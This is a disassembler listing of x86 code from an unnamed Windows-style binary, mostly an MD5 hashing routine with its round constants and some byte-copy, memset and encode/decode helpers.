loc_433796: ; CODE XREF: sub_433710+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4337A0: ; CODE XREF: sub_433710+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_433710 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4337E0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_50E3E8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_433804
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_433813
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433804: ; CODE XREF: sub_4337E0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_433813
mov eax, ebx
loc_433813: ; CODE XREF: sub_4337E0+1Aj
; sub_4337E0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_433875
test eax, eax
jz short loc_433862
mov ecx, [esi+4]
test ecx, ecx
jz short loc_433862
test ebx, ebx
jz short loc_433862
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_43384D
loc_433837: ; CODE XREF: sub_4337E0+65j
cmp [ecx+8], esi
jz short loc_433849
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_433837
jmp short loc_43384D
; ---------------------------------------------------------------------------
loc_433849: ; CODE XREF: sub_4337E0+5Aj
test ecx, ecx
jnz short loc_433862
loc_43384D: ; CODE XREF: sub_4337E0+55j
; sub_4337E0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DC5
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_433875
loc_433862: ; CODE XREF: sub_4337E0+3Cj
; sub_4337E0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 2750000h
test eax, eax
jnz short loc_433875
mov edi, 0Bh
loc_433875: ; CODE XREF: sub_4337E0+38j
; sub_4337E0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4337E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4338B0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27C0896h
mov esi, eax
call sub_436F5A
sub_4338B0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 35E89051h, 56022ED2h, 0E890D88Bh
dd 22ED3AAh, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_433900 proc near ; CODE XREF: sub_401A55j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_433900 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433940 proc near ; CODE XREF: sub_401C12j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_43396B
inc dword ptr [esi+14h]
loc_43396B: ; CODE XREF: sub_433940+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_4339C9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_434740
lea ecx, [esi+18h]
push ecx
push esi
call sub_433AB0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_4339C5
loc_4339A9: ; CODE XREF: sub_433940+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_433AB0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_4339A9
loc_4339C5: ; CODE XREF: sub_433940+67j
xor eax, eax
jmp short loc_4339CB
; ---------------------------------------------------------------------------
loc_4339C9: ; CODE XREF: sub_433940+41j
xor ebp, ebp
loc_4339CB: ; CODE XREF: sub_433940+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_434740
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_433940 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433A20 proc near ; CODE XREF: sub_402158j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_434660
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_433A53
mov ecx, 78h
loc_433A53: ; CODE XREF: sub_433A20+2Cj
sub ecx, eax
push ecx
push offset aA ; "─"
push edi
call sub_401C12
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C12
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_434660
push 58h
push 0
push edi
call sub_434770
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_433A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433AB0 proc near ; CODE XREF: sub_433940+58p
; sub_433940+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4346D0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_434770
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_433AB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434660 proc near ; CODE XREF: sub_433A20+14p
; sub_433A20+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_4346A7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43467A: ; CODE XREF: sub_434660+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43467A
pop esi
loc_4346A7: ; CODE XREF: sub_434660+7j
pop edi
retn
sub_434660 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_43471A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4346ED: ; CODE XREF: sub_4346D0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4346ED
pop edi
pop esi
loc_43471A: ; CODE XREF: sub_4346D0+7j
pop ebp
retn
sub_4346D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434740 proc near ; CODE XREF: sub_433940+4Ep
; sub_433940+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_43475C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_434753: ; CODE XREF: sub_434740+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_434753
loc_43475C: ; CODE XREF: sub_434740+7j
pop esi
retn
sub_434740 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434770 proc near ; CODE XREF: sub_433A20+60p
; sub_433AB0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_43479E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_43479E: ; CODE XREF: sub_434770+6j
retn
sub_434770 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4347B0 proc near ; CODE XREF: sub_401C0Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4347B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4347B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
